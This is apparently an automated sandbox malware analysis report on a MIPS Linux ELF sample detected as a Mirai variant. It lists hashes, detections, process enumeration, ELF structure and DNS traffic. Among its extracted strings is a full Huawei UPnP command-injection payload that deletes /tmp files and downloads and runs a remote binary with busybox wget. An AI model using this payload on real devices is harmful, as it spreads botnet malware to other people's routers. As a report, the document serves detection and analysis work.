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Linux Analysis Report
12.elf

Overview

General Information

Sample name:12.elf
Analysis ID:1589033
MD5:811e7e422705e4cd616037bea24d0a2f
SHA1:810cc3766b99e478b9c91de381bfb45f9c899289
SHA256:dc233a4be89edaa57ef7e141757f42f0c998f9b14b2e31a729a1cda30d1e70e7
Tags:elfuser-abuse_ch
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1589033
Start date and time:2025-01-11 08:41:47 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 29s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:12.elf
Detection:MAL
Classification:mal56.linELF@0/0@2/0
Command:/tmp/12.elf
PID:5435
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • 12.elf (PID: 5435, Parent: 5360, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/12.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: 12.elfAvira: detected
Source: 12.elfVirustotal: Detection: 28%Perma Link
Source: 12.elfReversingLabs: Detection: 31%
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: 12.elfString found in binary or memory: http://%d.%d.%d.%d/%s
Source: 12.elfString found in binary or memory: http://%d.%d.%d.%d/2;
Source: 12.elf, 5435.1.00007f406445e000.00007f4064462000.rw-.sdmpString found in binary or memory: http://1/wget.sh
Source: 12.elf, 5435.1.00007f406445e000.00007f4064462000.rw-.sdmpString found in binary or memory: http://9/curl.sh
Source: 12.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 12.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/*; /bin/busybox wget -g %d.%d.%d.%d -l /tmp/.vs -r /h; /bin/busybox chmod 777 /tmp/.vs; /tmp/.vs; sh /tmp/.vs)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sampleString containing 'busybox' found: %s%d%s<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/*; /bin/busybox wget -g %d.%d.%d.%d -l /tmp/.vs -r /h; /bin/busybox chmod 777 /tmp/.vs; /tmp/.vs; sh /tmp/.vs)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/12.elf (PID: 5435)SIGKILL sent: pid: 3104, result: successfulJump to behavior
Source: classification engineClassification label: mal56.linELF@0/0@2/0
Source: /tmp/12.elf (PID: 5435)File opened: /proc/790/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/792/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/793/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1930/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/795/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1411/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/2984/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1410/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/797/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/914/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/917/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/3095/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1745/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1866/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1588/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1940/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/884/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1982/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/765/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/800/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/767/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1906/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/802/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/803/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/726/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/727/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1748/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1946/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1944/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/3100/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1482/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/490/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1480/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1755/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1832/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1875/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/2964/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1432/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1751/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1872/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/2961/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1475/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/778/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/855/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/5435/statusJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/936/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/2926/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/816/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1879/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1891/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1691/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/780/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/660/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1921/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/783/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1765/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/2974/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1400/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1444/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1565/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1884/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/2972/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1563/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1881/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/2970/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/3069/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1609/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1805/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1804/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1925/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1969/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1847/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/2936/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1604/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/2935/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)File opened: /proc/1922/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5435)Queries kernel information via 'uname': Jump to behavior
Source: 12.elf, 5435.1.000055c955fa3000.000055c95604b000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/mips
Source: 12.elf, 5435.1.000055c955fa3000.000055c95604b000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
Source: 12.elf, 5435.1.00007ffe636b3000.00007ffe636d4000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
Source: 12.elf, 5435.1.00007ffe636b3000.00007ffe636d4000.rw-.sdmpBinary or memory string: #x86_64/usr/bin/qemu-mips/tmp/12.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/12.elf
Source: 12.elf, 5435.1.00007ffe636b3000.00007ffe636d4000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume Access1
OS Credential Dumping
11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
SourceDetectionScannerLabelLink
12.elf29%VirustotalBrowse
12.elf32%ReversingLabsLinux.Trojan.Mirai
12.elf100%AviraEXP/ELF.Mirai.Hua.a
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.24
truefalse
    high
    NameSourceMaliciousAntivirus DetectionReputation
    http://%d.%d.%d.%d/%s12.elffalse
      high
      http://1/wget.sh12.elf, 5435.1.00007f406445e000.00007f4064462000.rw-.sdmpfalse
        high
        http://schemas.xmlsoap.org/soap/encoding/12.elffalse
          high
          http://9/curl.sh12.elf, 5435.1.00007f406445e000.00007f4064462000.rw-.sdmpfalse
            high
            http://%d.%d.%d.%d/2;12.elffalse
              high
              http://schemas.xmlsoap.org/soap/envelope/12.elffalse
                high
                No contacted IP infos
                No context
                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                daisy.ubuntu.comssc.elfGet hashmaliciousGafgytBrowse
                • 162.213.35.24
                2.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                ssx.elfGet hashmaliciousGafgytBrowse
                • 162.213.35.24
                M68K.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                sshd.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                X86_64.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                ARMV6L.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                5.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                POWERPC.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                MIPS.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                No context
                No context
                No context
                No created / dropped files found
                File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
                Entropy (8bit):5.5866983722000665
                TrID:
                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                File name:12.elf
                File size:119'756 bytes
                MD5:811e7e422705e4cd616037bea24d0a2f
                SHA1:810cc3766b99e478b9c91de381bfb45f9c899289
                SHA256:dc233a4be89edaa57ef7e141757f42f0c998f9b14b2e31a729a1cda30d1e70e7
                SHA512:189ddd6465de22f08ae3381071c001d074d8db9802e7e738e7774829aa2c1f6144dc4109d8b814462781836768f5a3be4b7e14d2ed92c7652f33f2db6da03b75
                SSDEEP:3072:mk4CLlsUrurbhREfy/FmtHXm6YrydAyUX0v7p6Ji:mjCLlscur/Efy9mtPYedAyUX0v7p6E
                TLSH:A3C3D75D6E164FBDF399873987B78D309218239223B6E680D1ACDD145E603CF680FB65
                File Content Preview:.ELF.....................@.p...4...t.....4. ...(.............@...@...........................E...E.....t..4x........dt.Q............................<...'.J....!'.......................<...'.J....!........'9... ......................<...'.J....!... ....'9.

                ELF header

                Class:ELF32
                Data:2's complement, big endian
                Version:1 (current)
                Machine:MIPS R3000
                Version Number:0x1
                Type:EXEC (Executable file)
                OS/ABI:UNIX - System V
                ABI Version:0
                Entry Point Address:0x400270
                Flags:0x1007
                ELF Header Size:52
                Program Header Offset:52
                Program Header Size:32
                Number of Program Headers:3
                Section Header Offset:119156
                Section Header Size:40
                Number of Section Headers:15
                Header String Table Index:14
                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                NULL0x00x00x00x00x0000
                .initPROGBITS0x4000940x940x8c0x00x6AX004
                .textPROGBITS0x4001200x1200x1a6c00x00x6AX0016
                .finiPROGBITS0x41a7e00x1a7e00x5c0x00x6AX004
                .rodataPROGBITS0x41a8400x1a8400x1e500x00x2A0016
                .eh_framePROGBITS0x45c6900x1c6900x40x00x3WA004
                .ctorsPROGBITS0x45c6940x1c6940x80x00x3WA004
                .dtorsPROGBITS0x45c69c0x1c69c0x80x00x3WA004
                .data.rel.roPROGBITS0x45c6a80x1c6a80xc0x00x3WA004
                .dataPROGBITS0x45c6c00x1c6c00x4c80x00x3WA0016
                .gotPROGBITS0x45cb900x1cb900x5740x40x10000003WAp0016
                .sbssNOBITS0x45d1040x1d1040x1c0x00x10000003WAp004
                .bssNOBITS0x45d1200x1d1040x29e80x00x3WA0016
                .mdebug.abi32PROGBITS0x9c60x1d1040x00x00x0001
                .shstrtabSTRTAB0x00x1d1040x6e0x00x0001
                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                LOAD0x00x4000000x4000000x1c6900x1c6905.57420x5R E0x10000.init .text .fini .rodata
                LOAD0x1c6900x45c6900x45c6900xa740x34785.29520x6RW 0x10000.eh_frame .ctors .dtors .data.rel.ro .data .got .sbss .bss
                GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                TimestampSource PortDest PortSource IPDest IP
                Jan 11, 2025 08:42:40.985090017 CET5685053192.168.2.138.8.8.8
                Jan 11, 2025 08:42:40.985152960 CET5263853192.168.2.138.8.8.8
                Jan 11, 2025 08:42:40.991842985 CET53526388.8.8.8192.168.2.13
                Jan 11, 2025 08:42:40.991859913 CET53568508.8.8.8192.168.2.13
                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                Jan 11, 2025 08:42:40.985090017 CET192.168.2.138.8.8.80x846cStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                Jan 11, 2025 08:42:40.985152960 CET192.168.2.138.8.8.80x64b2Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                Jan 11, 2025 08:42:40.991859913 CET8.8.8.8192.168.2.130x846cNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                Jan 11, 2025 08:42:40.991859913 CET8.8.8.8192.168.2.130x846cNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                System Behavior

                Start time (UTC):07:42:36
                Start date (UTC):11/01/2025
                Path:/tmp/12.elf
                Arguments:/tmp/12.elf
                File size:5777432 bytes
                MD5 hash:0083f1f0e77be34ad27f849842bbb00c